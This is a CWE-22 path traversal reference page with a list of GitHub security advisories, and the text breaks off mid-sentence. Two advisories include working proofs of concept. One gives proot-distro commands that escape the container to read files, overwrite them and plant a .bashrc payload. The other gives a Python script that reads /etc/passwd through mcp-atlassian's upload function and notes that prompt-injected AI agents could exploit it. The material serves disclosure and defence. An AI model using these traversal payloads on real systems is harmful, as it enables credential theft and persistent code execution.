CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16048 vulnerabilities reference this CWE, most recent first.
GHSA-MFH9-9GWJ-9822
Vulnerability from github – Published: 2022-12-19 21:30 – Updated: 2022-12-28 21:30An issue in the component BlogEngine/BlogEngine.NET/AppCode/Api/UploadController.cs of BlogEngine.NET v3.3.8.0 allows attackers to execute arbitrary code via uploading a crafted PNG file.
{
"affected": [],
"aliases": [
"CVE-2022-41418"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-19T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue in the component BlogEngine/BlogEngine.NET/AppCode/Api/UploadController.cs of BlogEngine.NET v3.3.8.0 allows attackers to execute arbitrary code via uploading a crafted PNG file.",
"id": "GHSA-mfh9-9gwj-9822",
"modified": "2022-12-28T21:30:22Z",
"published": "2022-12-19T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41418"
},
{
"type": "WEB",
"url": "https://github.com/BlogEngine/BlogEngine.NET/commit/7f927567db94462ffd37e128c0a53c11c1f81a8d"
},
{
"type": "WEB",
"url": "https://gist.github.com/tree-chtsec/22a0a531ea188fd5b76fe11d32f41e95"
},
{
"type": "WEB",
"url": "https://gist.github.com/tree-chtsec/a02258bb6dea0d16e7e631898c066e05"
},
{
"type": "WEB",
"url": "https://www.chtsecurity.com/news/8719b7f3-1129-4fb4-8801-298970d81df7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MFMR-282V-WVC7
Vulnerability from github – Published: 2026-10-07 15:31 – Updated: 2026-10-07 15:31A path traversal vulnerability exists in the unzip_http RemoteZipFile extract functionality of VisiData (version(s): dev (commit 38b21f78)). A specially crafted .zip file can lead to arbitrary file write. An attacker can provide a crafted URL to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-41958"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-07T13:17:22Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability exists in the unzip_http RemoteZipFile extract functionality of VisiData (version(s): dev (commit 38b21f78)). A specially crafted .zip file can lead to arbitrary file write. An attacker can provide a crafted URL to trigger this vulnerability.",
"id": "GHSA-mfmr-282v-wvc7",
"modified": "2026-10-07T15:31:58Z",
"published": "2026-10-07T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41958"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2414"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MFQW-Q76V-M6CR
Vulnerability from github – Published: 2024-07-12 15:31 – Updated: 2024-07-12 15:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in NooTheme Jobmonster allows File Manipulation.This issue affects Jobmonster: from n/a through 4.7.0.
{
"affected": [],
"aliases": [
"CVE-2024-37928"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-12T14:15:13Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in NooTheme Jobmonster allows File Manipulation.This issue affects Jobmonster: from n/a through 4.7.0.",
"id": "GHSA-mfqw-q76v-m6cr",
"modified": "2024-07-12T15:31:30Z",
"published": "2024-07-12T15:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37928"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/noo-jobmonster/wordpress-jobmonster-theme-4-7-0-unauthenticated-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MFQX-6PFV-XP5P
Vulnerability from github – Published: 2025-12-24 21:30 – Updated: 2025-12-24 21:30Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability that allows attackers to read arbitrary system files via the 'READ.filePath' parameter. Attackers can exploit the fileread script or SendCGICMD API to access sensitive files like /etc/passwd and /etc/issue by supplying absolute file paths.
{
"affected": [],
"aliases": [
"CVE-2019-25246"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-24T20:15:52Z",
"severity": "HIGH"
},
"details": "Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability that allows attackers to read arbitrary system files via the \u0027READ.filePath\u0027 parameter. Attackers can exploit the fileread script or SendCGICMD API to access sensitive files like /etc/passwd and /etc/issue by supplying absolute file paths.",
"id": "GHSA-mfqx-6pfv-xp5p",
"modified": "2025-12-24T21:30:33Z",
"published": "2025-12-24T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25246"
},
{
"type": "WEB",
"url": "https://www.beward.net"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46320"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MFR4-MQ8W-VMG6
Vulnerability from github – Published: 2026-07-17 20:25 – Updated: 2026-07-17 20:25Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs
Repository
https://github.com/termux/proot-distro
Maintainer: @sylirre
Affected Component
- Package: proot-distro
- Affected command:
copy - Attack surface: Host-side Termux CLI — this is not a guest distro shell issue
- Vulnerability type: Path Traversal (CWE-22)
Affected Versions
Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64Proof of Concept
All tests were performed using only self-owned files and harmless marker data.
No root was used. No third-party data was involved. The .bashrc overwritten
during testing was immediately restored.
Step 1 — Setup
rm -rf ~/poc
mkdir -p ~/poc
Step 2 — Arbitrary write (overwrite a file outside the container rootfs)
echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt
proot-distro copy \
~/poc/evil.txt \
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO
This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.
Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)
echo "TOP_SECRET" > ~/poc/secret.txt
proot-distro copy \
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \
~/poc/read_result.txt
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/read_result.txt
→ TOP_SECRET
This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.
Step 4 — Persistent code execution via .bashrc overwrite
printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh \
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[*] Destination: '/data/data/com.termux/files/home/.bashrc'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification before restart:
cat ~/.bashrc
→
echo VULN_TRIGGERED > ~/poc/proof.txt
After closing and reopening Termux, the new shell sourced .bashrc and
executed the payload automatically:
cat ~/poc/proof.txt
→ VULN_TRIGGERED
This confirms that attacker-controlled content written into .bashrc executes
automatically on the next shell launch, resulting in persistent local code
execution within the Termux app context.
Attack Scenario
The most realistic exploitation path is a confused deputy scenario: a community
script, Termux plugin, or automated tool calls proot-distro copy with a path
derived from untrusted input. The attacker supplies a crafted container path.
The tool resolves it to a host-side location and reads or writes the file
without any boundary check. The user sees normal command output and no
indication that a file outside the container was touched.
On a real device with SSH keys or stored credentials in the Termux home
directory, the read primitive allows silent credential theft. The write
primitive to .bashrc allows persistent code execution triggered on next login.
Proposed Fix
After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:
import os
def safe_resolve(rootfs, container_path):
candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))
root = os.path.realpath(rootfs)
if candidate != root and not candidate.startswith(root + os.sep):
raise ValueError("path traversal detected: resolved path escapes rootfs")
return candidate
This check must be applied to both the source and destination paths in the
copy subcommand.
Additional Notes
- This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.
- No root access was used at any point during testing.
- All test files were self-owned and contained only harmless marker data.
- The
.bashrcoverwritten during testing was immediately restored after verification.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "proot-distro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T20:25:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003ePath Traversal in \u003ccode\u003eproot-distro copy\u003c/code\u003e \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs\u003c/h1\u003e\n\u003ch2\u003eRepository\u003c/h2\u003e\n\u003cp\u003ehttps://github.com/termux/proot-distro\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMaintainer:\u003c/strong\u003e @sylirre\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Component\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePackage:\u003c/strong\u003e proot-distro\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected command:\u003c/strong\u003e \u003ccode\u003ecopy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttack surface:\u003c/strong\u003e Host-side Termux CLI \u2014 this is not a guest distro shell issue\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability type:\u003c/strong\u003e Path Traversal (CWE-22)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Versions\u003c/h2\u003e\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected \u2014 tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eAll tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The \u003ccode\u003e.bashrc\u003c/code\u003e overwritten\nduring testing was immediately restored.\u003c/p\u003e\n\u003ch3\u003eStep 1 \u2014 Setup\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf ~/poc\nmkdir -p ~/poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 2 \u2014 Arbitrary write (overwrite a file outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"ORIGINAL\" \u0026gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" \u0026gt; ~/poc/evil.txt\n\nproot-distro copy \\\n ~/poc/evil.txt \\\n \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/target.txt\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/evil.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/target.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/target.txt\n\u2192 PWNED_BY_PROOT_DISTRO\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 3 \u2014 Arbitrary read (exfiltrate a file from outside the container rootfs)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eecho \"TOP_SECRET\" \u0026gt; ~/poc/secret.txt\n\nproot-distro copy \\\n \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n ~/poc/read_result.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/secret.txt\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/poc/read_result.txt\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/read_result.txt\n\u2192 TOP_SECRET\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3\u003eStep 4 \u2014 Persistent code execution via \u003ccode\u003e.bashrc\u003c/code\u003e overwrite\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eprintf \u0027echo VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\\n\u0027 \u0026gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n \"ubuntu:$(printf \u0027../%.0s\u0027 {1..20})data/data/com.termux/files/home/.bashrc\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eObserved output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e[*] Source: \u0027/data/data/com.termux/files/home/poc/payload.sh\u0027\n[*] Destination: \u0027/data/data/com.termux/files/home/.bashrc\u0027\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerification before restart:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/.bashrc\n\u2192\necho VULN_TRIGGERED \u0026gt; ~/poc/proof.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAfter closing and reopening Termux, the new shell sourced \u003ccode\u003e.bashrc\u003c/code\u003e and\nexecuted the payload automatically:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ecat ~/poc/proof.txt\n\u2192 VULN_TRIGGERED\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis confirms that attacker-controlled content written into \u003ccode\u003e.bashrc\u003c/code\u003e executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAttack Scenario\u003c/h2\u003e\n\u003cp\u003eThe most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls \u003ccode\u003eproot-distro copy\u003c/code\u003e with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.\u003c/p\u003e\n\u003cp\u003eOn a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to \u003ccode\u003e.bashrc\u003c/code\u003e allows persistent code execution triggered on next login.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProposed Fix\u003c/h2\u003e\n\u003cp\u003eAfter resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport os\n\ndef safe_resolve(rootfs, container_path):\n candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip(\u0027/\u0027)))\n root = os.path.realpath(rootfs)\n if candidate != root and not candidate.startswith(root + os.sep):\n raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n return candidate\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis check must be applied to both the source and destination paths in the\n\u003ccode\u003ecopy\u003c/code\u003e subcommand.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAdditional Notes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eThis issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.\u003c/li\u003e\n\u003cli\u003eNo root access was used at any point during testing.\u003c/li\u003e\n\u003cli\u003eAll test files were self-owned and contained only harmless marker data.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e.bashrc\u003c/code\u003e overwritten during testing was immediately restored after\nverification.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e",
"id": "GHSA-mfr4-mq8w-vmg6",
"modified": "2026-07-17T20:25:37Z",
"published": "2026-07-17T20:25:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"
},
{
"type": "PACKAGE",
"url": "https://github.com/termux/proot-distro"
},
{
"type": "WEB",
"url": "https://github.com/termux/proot-distro/releases/tag/v5.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PRoot-Distro has Path Traversal in proot-distro copy \u2014 Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs"
}
GHSA-MFV2-4WVM-9PGP
Vulnerability from github – Published: 2026-09-22 20:35 – Updated: 2026-09-22 20:35Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
Details
Affected functions:
| File | Function | Line |
|---|---|---|
src/mcp_atlassian/jira/attachments.py |
upload_attachment() |
~372–415 |
src/mcp_atlassian/confluence/attachments.py |
upload_attachment() |
~62–108 |
src/mcp_atlassian/confluence/attachments.py |
_upload_attachment_direct() |
~476–477 |
Jira — vulnerable code path (jira/attachments.py):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)
Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc_001_jira_path_traversal.py):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : AttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation
add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
upload_attachment() → _upload_attachment_direct() → open(file_path)
download_attachment() in same file IS protected — asymmetric fix
Key evidence:
- success: True — no exception raised, no path validation triggered
- size: 3388 — /etc/passwd was opened and read by os.path.getsize()
- Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
